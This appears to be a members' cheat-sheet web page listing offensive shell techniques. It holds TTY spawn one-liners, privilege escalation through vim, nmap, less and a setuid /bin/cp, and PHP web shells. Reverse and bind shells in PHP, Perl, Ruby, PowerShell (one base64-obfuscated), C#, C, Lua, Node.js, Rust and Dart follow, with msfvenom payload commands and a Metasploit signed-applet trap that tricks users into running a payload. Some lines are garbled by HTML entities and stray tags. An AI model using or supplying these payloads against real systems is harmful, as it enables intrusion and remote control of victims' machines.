Thanks for being an Official Member of OsbornePro Technology

# Shell Method
</bin/sh -i

# Python Methods
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
echo os.system('/bin/bash')

# Perl Methods
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'

# Ruby Method
ruby: exec "/bin/sh"

# Lua Method
lua: os.execute('/bin/sh')

# Linux Binary Methods
# In Vim or Vi text editor
vim filename.txt # Opens vim text editor
# Press the [ESC] key to enter vi command mode
:!bash   # Type this command and hit [ENTER]
:set shell=/bin/bash:shell # Type this command and hit [ENTER]

vim.tiny
# Press [ESC] key
:set shell=/bin/sh :shell # Type this command and hit [ENTER]
vim.basic /root/.bashrc

# Nmap Method
nmap: !sh
nmap --interactive

# MySQL Method
mysql: ! bash

# Less Method
less /etc/passwd; !/bin/sh

# Which Method
which cp; ls -al /bin/cp; chmod u+s /bin/cp

# Socat Method
# WARNING
# Launch /bin/bash in Kali if your default shell is /bin/zsh
socat file:`tty`,raw,echo=0 tcp-listen:4444  
# On Victim
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:4444
                                        

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
                                            

<?=`$_GET[0]`?>
                                            

php -r '$sock=fsockopen("127.0.0.1",4444);exec("sh <&3 >&3 2>&3");'
                                            

php -r '$sock=fsockopen("127.0.0.1",4444);shell_exec("sh <&3 >&3 2>&3");'
                                            

php -r '$sock=fsockopen("127.0.0.1",4444);system("sh <&3 >&3 2>&3");'
                                            

php -r '$sock=fsockopen("127.0.0.1",4444);passthru("sh <&3 >&3 2>&3");'
                                            

php -r '$sock=fsockopen("127.0.0.1",4444);`sh <&3 >&3 2>&3`;'
                                            

php -r '$sock=fsockopen("127.0.0.1",4444);popen("sh <&3 >&3 2>&3", "r");'
                                            

php -r '$sock=fsockopen("127.0.0.1",4444);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
                                            

# On Linux
perl -e &#39;use Socket;$i=&quot;127.0.0.1&quot;;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};&#39;</span>
                                            

# On Linux 2
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:1337");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
                                            

# On Windows
perl -MIO0 -e &#39;$c=new IO::Socket::INET(PeerAddr,&quot127.0.0.1:4444&quot;);STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;;&#39;</span>
                                            

# Ruby Linux 1
ruby -rsocket -e ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("127.0.0.1",4444))'
                                            

# Ruby Linux 2
ruby -rsocket -e ruby -rsocket -e'exit if fork;c=TCPSocket.new("127.0.0.1","4444");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
                                            

# Ruby Windows
ruby -rsocket -e 'c=TCPSocket.new("127.0.0.1","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
                                            

$LHOST = "127.0.0.1"; $LPORT = 4444; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
                                            

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"</span>
                                            

powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
                                            

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"</span>
                                            

powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
                                            

$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = New-Object System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()
                                            

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwAC4AMQAwACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
                                            

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
    public class Program
    {
        static StreamWriter streamWriter;

        public static void Main(string[] args)
        {
            using(TcpClient client = new TcpClient("127.0.0.1", 4444))
            {
                using(Stream stream = client.GetStream())
                {
                    using(StreamReader rdr = new StreamReader(stream))
                    {
                        streamWriter = new StreamWriter(stream);

                        StringBuilder strInput = new StringBuilder();

                        Process p = new Process();
                        p.StartInfo.FileName = "sh";
                        p.StartInfo.CreateNoWindow = true;
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.RedirectStandardOutput = true;
                        p.StartInfo.RedirectStandardInput = true;
                        p.StartInfo.RedirectStandardError = true;
                        p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                        p.Start();
                        p.BeginOutputReadLine();

                        while(true)
                        {
                            strInput.Append(rdr.ReadLine());
                            //strInput.Append("\n");
                            p.StandardInput.WriteLine(strInput);
                            strInput.Remove(0, strInput.Length);
                        }
                    }
                }
            }
        }

        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }
        
    }
}

using System;
using System.Diagnostics;

namespace BackConnect {
    class ReverseBash {
        public static void Main(string[] args) {
            Process proc = new System.Diagnostics.Process();
            proc.StartInfo.FileName = "sh";
            proc.StartInfo.Arguments = "-c \"sh -i >& /dev/tcp/127.0.0.1/4444 0>&1\"";
            proc.StartInfo.UseShellExecute = false;
            proc.StartInfo.RedirectStandardOutput = true;
            proc.Start();

            while (!proc.StandardOutput.EndOfStream) {
            Console.WriteLine(proc.StandardOutput.ReadLine());
            }
        }
    }
}

TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 4444 0<$TF | /bin/sh 1>$TF
                                            

C='curl -Ns telnet://127.0.0.1:4444'; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
                                            

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 4444;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr,
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execve("sh", argv, NULL);

    return 0;  
}                                         
                                            

# Compile Above Code
gcc /tmp/shell.c --output csh && csh
                                            

lua -e "require('socket');require('os');t=socket.tcp();t:connect('127.0.0.1','4444');os.execute('sh -i <&3 >&3 2>&3');"
                                            

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
                                            

require('child_process').exec('nc -e sh 127.0.0.1 4444')
                                                

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(4444, "127.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();
                                                

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
    let s = TcpStream::connect("127.0.0.1:4444").unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}
                                                

import 'dart:io';
import 'dart:convert';

main() {
    Socket.connect("127.0.0.1", 4444).then((socket) {
    socket.listen((data) {
        Process.start('powershell.exe', []).then((Process process) {
        process.stdin.writeln(new String.fromCharCodes(data).trim());
        process.stdout
            .transform(utf8.decoder)
            .listen((output) { socket.write(output); });
        });
    },
    onDone: () {
        socket.destroy();
    });
    });
}
                                                

# PHP Bind Shell
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",4444);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'
                                            

# Powercat Bind Shell
# Start Bind Listener
.\powercat.ps1 # Imports tool
powercat -l -p 4444 -ep

# Connect to Bind
.\powercat.ps1 # Imports tool
powercat -c 127.0.0.1 -p 4444
                                            

# Ruby Bind
ruby -rsocket -e 'f=TCPServer.new(4444);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
                                            

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
//#include <sys/types.h>

#define SHELL "/bin/bash"   // shell to spawn when connection is received

int main(int argc, char *argv[])
{
    char msg[512];
    int srv_sockfd, new_sockfd;
    socklen_t new_addrlen;
    struct sockaddr_in srv_addr, new_addr;

    if(argc != 2)
    {
    printf("\nusage: ./tcpbind <listen port>\n");
    return -1;
    }

    if(fork() == 0)
    {
    if((srv_sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)
    {
        perror("[error] socket() failed!");
        return -1;
    }

    srv_addr.sin_family = PF_INET;
    srv_addr.sin_port = htons(atoi(argv[1]));
    srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    if(bind(srv_sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) < 0)
    {
        perror("[error] bind() failed!");
        return -1;
    }

    if(listen(srv_sockfd, 1) < 0)
    {
        perror("[error] listen() failed!");
        return -1;
    }

    for(;;)
    {
        new_addrlen = sizeof(new_addr);
        new_sockfd = accept(srv_sockfd, (struct sockaddr *)&new_addr, &new_addrlen);
        if(new_sockfd < 0)
        {
        perror("[error] accept() failed!");
        return -1;
        }

        if(fork() == 0)
        {
        close(srv_sockfd);
        write(new_sockfd, msg, strlen(msg));

        dup2(new_sockfd, 2);
        dup2(new_sockfd, 1);
        dup2(new_sockfd, 0);

        execl(SHELL, NULL, NULL);
        return 0;
        }
        else
        close(new_sockfd);
    }

    }
    return 0;
}
                                            

# Compile Above Code
gcc /tmp/bindshell.c --output csh && csh
                                            

# OpenBSD/MacOS
msfvenom -p osx/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f macho > shell.macho
                                            

msfvenom -p android/meterpreter/reverse_tcp  lhost=127.0.0.1 lport=4444 > ~/Documents/payloads/file.apk
                                            

# JAVA APPLET EXPLOIT
# Bypass the need for unpatched java vulnerability by asking the user to run it
sudo msfdbinit # Initializes Metasploit database if you have not run before
sudo msfconsole # Opens Metasploit

# Metasploit Commands
use exploit/multi/browser/java_signed_applet
show options
set APPLETNAME javaapplet
set SRVHOST 127.0.0.1
set SRVPORT 80
(if this is run java will show the signer is unknown unless the signer uses a trusted signing certificate. This option can be set using set SigningCert)
show targets
set target 0
set payload java/meterpreter/reverse_tcp
set LHOST 127.0.0.1
run